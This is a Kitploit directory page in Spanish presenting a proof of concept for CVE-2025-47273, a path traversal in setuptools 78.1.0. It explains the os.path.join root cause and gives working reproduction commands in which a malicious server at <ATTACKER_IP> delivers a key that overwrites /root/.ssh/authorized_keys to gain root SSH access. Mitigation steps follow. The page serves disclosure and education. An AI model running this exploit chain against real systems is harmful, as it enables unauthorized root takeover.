Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-47273-PoC — CVE-2025-47273 es una vulnerabilidad de path traversal de alta gravedad en la librería setuptools, específicamente en la versión 78.1.0. | Kitploit
Herramientas/GitHubGitHub/ahmedreda38/cve-2025-47273-poc
Escalada de PrivilegiosAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónSeguridad de Cadena de SuministroAprendizaje y Educación
GitHubahmedreda38/cve-2025-47273-poc

CVE-2025-47273-PoC

CVE-2025-47273 es una vulnerabilidad de path traversal de alta gravedad en la librería setuptools, específicamente en la versión 78.1.0.

Ver Repositorio
1hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-47273: setuptools versión 78.1.0 - Path Traversal en setuptools.package_index

Aviso legal

Este Prueba de Concepto (PoC) está destinado únicamente a fines educativos y auditorías de seguridad autorizadas. El autor no asume ninguna responsabilidad por el mal uso de esta información. El acceso no autorizado a sistemas informáticos es ilegal y poco ético.


Análisis de la Vulnerabilidad

CVE-2025-47273 es una vulnerabilidad de path traversal encontrada en el módulo package_index de la librería setuptools (v78.1.0 y anteriores). La vulnerabilidad permite a un atacante realizar una escritura arbitraria de archivos proporcionando una URL especialmente manipulada al método PackageIndex.download().

La Causa Raíz: Comportamiento de os.path.join()

El fallo proviene de una trampa común en la función os.path.join() de Python. Según la documentación de Python:

Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de ruta absoluta.

En la versión vulnerable de setuptools, el nombre del archivo de destino se determina extrayendo un nombre de la URL y uniéndolo con un directorio temporal:

root@kitploit:~
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)

Si un atacante proporciona una URL donde la parte del nombre del archivo (después de la decodificación de la URL) comienza con una barra diagonal /, os.path.join descarta el prefijo tmpdir y devuelve la ruta absoluta proporcionada en la URL.

Diagrama de Flujo de la Vulnerabilidad

root@kitploit:~
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
          |
          | 1. URL Decoding
          v
[ Decoded Filename (name) ]
"/etc/passwd"
          |
          | 2. Vulnerable Function Call
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. Python os.path.join Logic
          v
[ Resulting Path (filename) ]
"/etc/passwd"  <-- /tmp/download_dir is discarded!

Impacto Técnico

Dado que la ruta de destino puede manipularse para convertirse en una ruta absoluta, un atacante puede escribir contenido arbitrario en cualquier ubicación del sistema de archivos donde el proceso tenga permisos de escritura.

Escenarios de Alto Impacto:

  1. Escalada de Privilegios: Si el proceso que utiliza setuptools se ejecuta con privilegios elevados (por ejemplo, un instalador de todo el sistema), un atacante puede sobrescribir archivos críticos del sistema como /etc/passwd, /root/.ssh/authorized_keys, o /etc/shadow y muchas otras posibilidades...
  2. Persistencia / RCE: Sobrescribir archivos de configuración a nivel de usuario como ~/.bashrc, ~/.ssh/authorized_keys, o inyectar código en librerías Python existentes puede conducir a una Ejecución Remota de Código persistente.

Reproducción (Sobrescribiendo /root/.ssh/authorized_keys )

Configuración del Entorno

La vulnerabilidad está presente en la versión 78.1.0 de setuptools.

root@kitploit:~
pip install setuptools==78.1.0

1. Generar pares de claves ssh en el directorio poc

root@kitploit:~
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""

1. Iniciar el Servidor Malicioso (máquina atacante)

El script server.py actúa como un índice de paquetes malicioso. Sirve un archivo de payload independientemente de la ruta solicitada, y el archivo que servimos es id_rsa.pub.

root@kitploit:~
python3 server.py 80

2. Ejecutar el Exploit (máquina objetivo)

Dispara la escritura de archivo usando este comando y luego puedes hacer ssh a root con tu par de claves ssh previamente creado.

root@kitploit:~
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'

3. Finalmente, haz ssh a la máquina objetivo como root con la clave privada que creamos en el paso 1

root@kitploit:~
ssh -i id_rsa root@<target-ip>

Mitigación

La vulnerabilidad fue corregida en la versión 78.1.1 de setuptools. La corrección implica sanear estrictamente la variable name derivada de la URL para garantizar que no contenga barras iniciales ni letras de unidad antes de pasarla a os.path.join().

Para asegurar tu entorno:

root@kitploit:~
pip install --upgrade setuptools

Referencias

  • setuptools Issue #4946
  • NVD - CVE-2025-47273
  • Huntr Bounty Report
Descargar herramienta